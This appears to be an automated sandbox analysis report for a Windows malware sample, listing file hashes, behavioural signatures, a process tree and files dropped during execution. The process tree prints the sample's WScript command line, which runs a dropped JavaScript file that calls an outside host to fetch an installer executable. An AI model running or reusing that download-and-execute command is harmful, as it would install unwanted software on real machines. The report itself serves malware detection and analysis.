Analysis
-
max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
11-05-2024 08:59
Static task
static1
Behavioral task
behavioral1
Sample
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
-
Target
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
-
Size
184KB
-
MD5
33cb08813809437dbeda2422172e66c7
-
SHA1
3fe5c4e90fe7036091bc1fdf2d7316ce0f6aa888
-
SHA256
76ae2a209d6c4afa2fb7416e958b65d718db665d499158a9abd525ec90b7abb6
-
SHA512
9ea824d5b4c22d31282db2953d4ecd4d8ac3b2d84eb28e1383d39cdf9ddcba0ca120a4414c7fd60da91ccdab796ac9b2093dcafc0436075d44440b1a12c54fb8
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndnX
Malware Config
Signatures
-
Blocklisted process makes network request 11 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 6 2176 WScript.exe 8 2176 WScript.exe 10 2176 WScript.exe 12 2732 WScript.exe 13 2732 WScript.exe 15 2840 WScript.exe 16 2840 WScript.exe 18 284 WScript.exe 19 284 WScript.exe 21 1656 WScript.exe 22 1656 WScript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exedescription pid process target process PID 1944 wrote to memory of 2176 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2176 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2176 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2176 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2732 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2732 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2732 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2732 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2840 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2840 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2840 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 2840 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 284 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 284 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 284 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 284 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 1656 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 1656 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 1656 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 1944 wrote to memory of 1656 1944 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EAFilesize
1KB
MD52a8fa256ce6a53132c6e1887aec2dd90
SHA13c3712696c81ffbf3f78767fa642115336718db0
SHA2564372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6
SHA51286c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464Filesize
724B
MD58202a1cd02e7d69597995cabbe881a12
SHA18858d9d934b7aa9330ee73de6c476acf19929ff6
SHA25658f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA51297ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EAFilesize
410B
MD58edb2357c44fe2a44cd6adc2957b577d
SHA1a8aa0aed4c522b17dfc1c78b8ea873570422cd73
SHA25690984e59687d16664d310d61f48fb49f3f4c58b6996f7c769cc25543b4038b7a
SHA5125e86dd5a5cf6e25a0f0578c613562b3d3dcfde77d6597f8045b05d6db3c52caf2b6a86831779d8c0395ed130805752cd7d83be04335fa7e85e7a9a3968c8f037
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD5e0636bfaeb04f6f6f03fd2314d4bc30d
SHA110c969eb418984459bc881768d9480ade312800e
SHA2564df04d9cda4398629c814b3c82d331f31eef9f0e0424b5b335b8c6d9eed42cc1
SHA512433f45fd99da44efd734d5901718d3051290fbd78f3acb4787f03801d566135479de21086c4603d18c0e909134253039cebc62cd80f3a1884ee0bf668ce3a8a0
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464Filesize
392B
MD58cca6dd52987fb4c6c0917411958e483
SHA188c5c41ce8d16a4db8299a823c99f119c29e6305
SHA256fac536c5f5944169f48042f7a4c974797dd079adca3365a7a151c9686e79d78f
SHA51267122630b7e1a07cdb433c47ea562e7cd0a8136e1c8e60c23df26fdba9c890436a777c5fb0df8d993ab28ca5f23c2dde879ab14c28bb7e7f2694781f8ef86ac7
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htmFilesize
6KB
MD5f7b8734ba1bc659f4f54103e24626667
SHA15e38154d686b65c03a2413633eb49111020da5c0
SHA256b232d41bbac472e6a68645b73e1889f0aa281d3cae21744a74df0d9379abc391
SHA51211698f9b723f38e6eec4cff031d94f8059796feebf86b604773503bdf137bb1d140882b8880e9bfbfe9ee601a9ffe23f3d15f2ecb7750c171237b4a154bf1759
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htmFilesize
6KB
MD50c384d43e11df5fd26efdc0813141b85
SHA1e968ec281b332030c4ada6e3806aa031c12cc917
SHA256f4402e4b46b404ffa4691549b096fa3b0da662c0e7cec37821bfe8c3b8e637fe
SHA512b8e6dda1bdeff6ab2dbd3999cbf2692c8bd6da9e4c5a369a8a1dc1801f95ec3ae8e65632fe32f987bc631ff17abfd9a04d877e4c64e2c88d15709cae475ffd38
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htmFilesize
40KB
MD527b20b7a319c321aceab972de8075d01
SHA1c858d4b859dc28ca94f44cd694cb0c3412e15665
SHA25606729450cd66371e6d8f01c6ed9982dba04d7a56f8b7183a407b846c3d0e6e28
SHA51281ec5cc75d2b3498a8cf55b1dc8922288c919609a932486195e6379bd0d972a21baf603a0b20e85b34c774ecbc0f5c737e393fe38829bc5215cc93a5d0a8055c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htmFilesize
40KB
MD56c243221fe9c3f50775e71a149de000d
SHA18d9a2b987204b2ad5fdbb1c5192030753b043efa
SHA256a7d609c5e7e900e02b72889c37adb5c30e075dc01339c420f1f2a39fabaf28b6
SHA512250b5c396b1501addf046cc1728545365ed4dc989216107e0388a03641c2c4190f6c35b10973797d02a9b0e232e9c8181cf07d5bc8fccad800fd64d3f6bd6303
-
C:\Users\Admin\AppData\Local\Temp\Cab5C14.tmpFilesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\Local\Temp\Tar7447.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Local\Temp\fuf2CFA.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\NUO2BF3R.txtFilesize
177B
MD5082b9c7d09352cb9a140a03d76092f9b
SHA1877c6ce1bc49481a2e09aa3ca31609dbf76bd9dd
SHA2560eacca5ada356131038956a934a0f25252c9122450c6225cb9134d16452e0893
SHA5120aee62c737d92a3745b82cbf9e9538db0a28d837d166782fc06c4cc531f086fc57b7a1d41f99bbfa3275e499c5cb029ffff587ee6bf7ef5a039695096fcb8f77